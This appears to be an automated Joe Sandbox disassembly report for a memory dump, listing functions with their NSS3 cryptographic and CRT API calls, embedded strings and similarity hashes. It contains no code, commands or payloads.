Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: 3c8015140beab414287e95aef2f0fe0235888b14cda22ccb4967a8632493fddf
Instruction ID: 06ffdfb177663eb14affb446a6aff0668dbfca0fbea9a74aba6cadd561918766
Opcode Fuzzy Hash: 3c8015140beab414287e95aef2f0fe0235888b14cda22ccb4967a8632493fddf
Instruction Fuzzy Hash: F7A1F279B021056BFB00DAA9DC84BBF7BA8EB4474CF20043DE816D7B80F621D94587D6

Function 6CCCC8C0 Relevance: 25.9, APIs: 17, Instructions: 432COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCCCA51
TlsGetValue.KERNEL32 ref: 6CCCCAE8
EnterCriticalSection.KERNEL32(?), ref: 6CCCCAFC
PK11_FreeSymKey.NSS3(00000000), ref: 6CCCCB2E
PK11_KeyGen.NSS3(?,?,00000000,00000000,?), ref: 6CCCCB87
memset.VCRUNTIME140(?,00000000,00000410), ref: 6CCCCBA8
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CCCCCCD
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCCCCE1
PK11_PubDeriveWithKDF.NSS3 ref: 6CCCCD3D
memcpy.VCRUNTIME140(?,?,?), ref: 6CCCCD73
memcpy.VCRUNTIME140(?,?,?), ref: 6CCCCD9D
PK11_WrapSymKey.NSS3(?,00000000,?,00000000,?), ref: 6CCCCDDA
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CCCCE04
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CCCCE17
PK11_FreeSymKey.NSS3(00000000), ref: 6CCCCE24
PR_Unlock.NSS3 ref: 6CCCCE49
PK11_FreeSymKey.NSS3(00000000), ref: 6CCCCE96

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$ErrorFree$Destroymemcpy$CriticalDeriveEnterPrivatePublicSectionUnlockValueWithWrapmemset
String ID:
API String ID: 3685077037-0
Opcode ID: aaa65eb7795f64f1736810ec83b39f45d6c9032e1bf8c0865edab3b81439bdb6
Instruction ID: e8f4368907713db4e3751a687a025aecd5cbd19247164d4d1c1bd4ccb152b522
Opcode Fuzzy Hash: aaa65eb7795f64f1736810ec83b39f45d6c9032e1bf8c0865edab3b81439bdb6
Instruction Fuzzy Hash: 72F1BEB1E002148BEB10EF29CC847AA73B8EF45358F1445A9DA09A7B41F734DAD5CB97

Function 6CC80BA0 Relevance: 25.7, APIs: 17, Instructions: 242memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE0B3,00000000), ref: 6CC80BFA

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC80C18
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6CC80C2E
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CC80C39
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC80C45
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC80CC1
PORT_Alloc_Util.NSS3(?), ref: 6CC80CDA
memcpy.VCRUNTIME140(?,?,?), ref: 6CC80D1B
PK11_GenerateKeyPairWithOpFlags.NSS3 ref: 6CC80D79
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC80DB2
PK11_CreateContextBySymKey.NSS3(?,82000104,?,?), ref: 6CC80DE4
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC80DFE
PR_SetError.NSS3(FFFFE064,00000000), ref: 6CC80E2C
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CC80E38
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC80E44
free.MOZGLUE(?), ref: 6CC80E7E
free.MOZGLUE(?), ref: 6CC80EAE

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DestroyError$K11_$ContextPrivatePublicUtilfree$Alloc_CreateFindFlagsGeneratePairTag_ValueWithmemcpy
String ID:
API String ID: 2510822978-0
Opcode ID: a5a41db5c8a4244190769f96907235e7c4f46aa9b7ef0d96c2fbd9383a1da59f
Instruction ID: 7b8e488e0417cd6dc4646678cf67a563cf3a03e57bfd7be89514b7e22d0da52f
Opcode Fuzzy Hash: a5a41db5c8a4244190769f96907235e7c4f46aa9b7ef0d96c2fbd9383a1da59f
Instruction Fuzzy Hash: 1291CEB1906340AFE7109F69D84574BBBE4BF8434CF14892DE89897B51FB31E948CB92

Function 6CC4EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4EF63

Part of subcall function 6CC587D0: PORT_NewArena_Util.NSS3(00000800,6CC4EF74,00000000), ref: 6CC587E8
Part of subcall function 6CC587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CC4EF74,00000000), ref: 6CC587FD
Part of subcall function 6CC587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CC5884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CC4F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CC4F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CC4F374
PL_strcasecmp.NSS3(6CD92FD4,?), ref: 6CC4F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CC4F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC4F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CC4F67D
CERT_DestroyName.NSS3(?), ref: 6CC4F68B

Part of subcall function 6CC58320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CC58338
Part of subcall function 6CC58320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC58364
Part of subcall function 6CC58320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CC5838E
Part of subcall function 6CC58320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC583A5
Part of subcall function 6CC58320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC583E3

Part of subcall function 6CC584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CC584D9
Part of subcall function 6CC584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CC58528

Part of subcall function 6CC58900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CC58955

Strings

*, xrefs: 6CC4F3C6
", xrefs: 6CC4F21B
oid., xrefs: 6CC4F2CF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 6b6ddad5e035f66a5eb0a1e6424dba3d653e971bd1736abc690f30ebc104df9b
Instruction ID: 3783232585da13a3eefadb3d92c7fb7dc332e6a36eadc862a7d4715b184e3e9b
Opcode Fuzzy Hash: 6b6ddad5e035f66a5eb0a1e6424dba3d653e971bd1736abc690f30ebc104df9b
Instruction Fuzzy Hash: 24221971A083418FE714CE29C4907AAB7E6ABC5328F19CA2EE49587B91F731DC46C752

Function 6CCBEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CCBDAE2,?), ref: 6CCBC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCBF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCBF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CCBF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCBF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CD8218C), ref: 6CCBF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CCBF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCBF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CCBF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CCBF210

Part of subcall function 6CC652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CCBF1E9,?,00000000,?,?), ref: 6CC652F5
Part of subcall function 6CC652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CC6530F
Part of subcall function 6CC652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CC65326
Part of subcall function 6CC652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CCBF1E9,?,00000000,?,?), ref: 6CC65340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCBF227

Part of subcall function 6CCAFAB0: free.MOZGLUE(?,-00000001,?,?,6CC4F673,00000000,00000000), ref: 6CCAFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CCBF23E

Part of subcall function 6CCABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC5E708,00000000,00000000,00000004,00000000), ref: 6CCABE6A
Part of subcall function 6CCABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC604DC,?), ref: 6CCABE7E
Part of subcall function 6CCABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CCABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CCBF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CCBF3A8

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CCBF3B3

Part of subcall function 6CC62D20: PK11_DestroyObject.NSS3(?,?), ref: 6CC62D3C
Part of subcall function 6CC62D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC62D5F

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 3981ef16ca785e6c582ada0e11d9192f634a50bc8eba1e141fc78746fc30468e
Instruction ID: d03fd5147bc23ddbb6bfab64becae80efde8d312642250fec3e0342dbcbe2c5b
Opcode Fuzzy Hash: 3981ef16ca785e6c582ada0e11d9192f634a50bc8eba1e141fc78746fc30468e
Instruction Fuzzy Hash: 5FD14EBAE016059FEB14CFD9D980A9EB7B5EF48308F158129D915B7711FB31E806CB50

Function 6CC9A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC9A9CA

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CDB0B04,?), ref: 6CC9A9F7

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CC9AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC9AA33
PK11_GetInternalKeySlot.NSS3 ref: 6CC9AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CC9AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CC9AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CC9AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC9AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CC9AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CC9AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC9ABDC
PK11_FreeSymKey.NSS3(?), ref: 6CC9ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC9ABF7

Part of subcall function 6CC9AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC9AB3E,?,?,?), ref: 6CC9AC35
Part of subcall function 6CC9AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC9AB3E,?,?,?), ref: 6CC9AC55
Part of subcall function 6CC9AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC9AB3E,?,?), ref: 6CC9AC70
Part of subcall function 6CC9AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC9AC92
Part of subcall function 6CC9AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC9AB3E), ref: 6CC9ACD7

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 8018eee10c55d9c011461ab0acc8f1e873cf086fdbde459556e7bcdfdb8f504f
Instruction ID: 88763bdd73913b40bf0a3959e55aee4fcfeea4fc5bcccae4274810da50b3a7c4
Opcode Fuzzy Hash: 8018eee10c55d9c011461ab0acc8f1e873cf086fdbde459556e7bcdfdb8f504f
Instruction Fuzzy Hash: 3871F3B2E08301ABE700CF699C40B5BB3E5AFC5758F104A29FD6897651FB71D948CB92

Function 6CBDECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBDED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBDEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000002), ref: 6CBDEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?), ref: 6CBDEF98

Strings

database corruption, xrefs: 6CBDF48D
%s at line %d of [%.10s], xrefs: 6CBDF492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDF483

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 8daae8854d29fa85987b83f592f080128df3494ff8545af1ca1c805b1abc7b18
Instruction ID: c7f8f5c2a308cc2a1472724eb895c2a0374f1230f6c6fac974837055edb057d8
Opcode Fuzzy Hash: 8daae8854d29fa85987b83f592f080128df3494ff8545af1ca1c805b1abc7b18
Instruction Fuzzy Hash: B162E074A082C58FEB04CF65C48079EBBB1EF49318F1A419DD8456BB92D731F886CB92

Function 6CC80EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC80F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC80FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC81006
PK11_FreeSymKey.NSS3(?), ref: 6CC8101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC81033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC8103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CC81048
memcpy.VCRUNTIME140(?,?,?), ref: 6CC8108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC8112E

Part of subcall function 6CC81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CC808C4,?,?), ref: 6CC815B8
Part of subcall function 6CC81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CC808C4,?,?), ref: 6CC815C1
Part of subcall function 6CC81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC8162E
Part of subcall function 6CC81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC81637

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 0ad628390e4e6679e52dab9a566cb39f31d2937bfe15b25ac796a3a83041ee18
Instruction ID: 8227ff372786d25a0f04c54a90c42e2d4b1bff8e05a01097b47af798d528627d
Opcode Fuzzy Hash: 0ad628390e4e6679e52dab9a566cb39f31d2937bfe15b25ac796a3a83041ee18
Instruction Fuzzy Hash: AD71AFB1A012059FDB04CFA9CD84A6BBBF4BF4831CF148629E52997B11FB31D945CB91

Function 6CCA6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC51C6F,00000000,00000004,?,?), ref: 6CCA6C3F

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CC51C6F,00000000,00000004,?,?), ref: 6CCA6C60
PR_ExplodeTime.NSS3(00000000,6CC51C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CC51C6F,00000000,00000004,?,?), ref: 6CCA6C94

Strings

gfff, xrefs: 6CCA6D9C
gfff, xrefs: 6CCA6D30
gfff, xrefs: 6CCA6D66
gfff, xrefs: 6CCA6CFD
gfff, xrefs: 6CCA6CF5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 6a0a78155b6a2af5a854f4e8ca7076f3c4991963311cde47981a6f24c1e234ab
Instruction ID: ddb36800d324841ad31ca1cc431b15629314719d55a103ed49fd6df2ed98e1dd
Opcode Fuzzy Hash: 6a0a78155b6a2af5a854f4e8ca7076f3c4991963311cde47981a6f24c1e234ab
Instruction Fuzzy Hash: DE513B72B016494FC71CCEADDC526DAB7DAABA4310F48C23AE442DB785E638D907C751

Function 6CD20F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CD21027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD21353

Strings

-- , xrefs: 6CD20FF5
'%.*q', xrefs: 6CD21217, 6CD21292
zeroblob(%d), xrefs: 6CD21223
%lld, xrefs: 6CD2114B
NULL, xrefs: 6CD2119E
$, xrefs: 6CD212A0
%02x, xrefs: 6CD212F6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 11bdc376062697ee76afd832e8db37735c7aa39356535fa9a3a6c2a1be4c227e
Instruction ID: 207ced987a5d2b043d159875bbc232e793d1aed0b7980e0a50f7765532a0fad8
Opcode Fuzzy Hash: 11bdc376062697ee76afd832e8db37735c7aa39356535fa9a3a6c2a1be4c227e
Instruction Fuzzy Hash: 71E19E71A08380DFD715CF14C480A6BBBF1AF86348F14895DFA8587B61E776E849CB52

Function 6CD28FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD28FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD29118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD2915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD29209

Strings

UUUU, xrefs: 6CD29255
3333, xrefs: 6CD2925E

Memory Dump Source

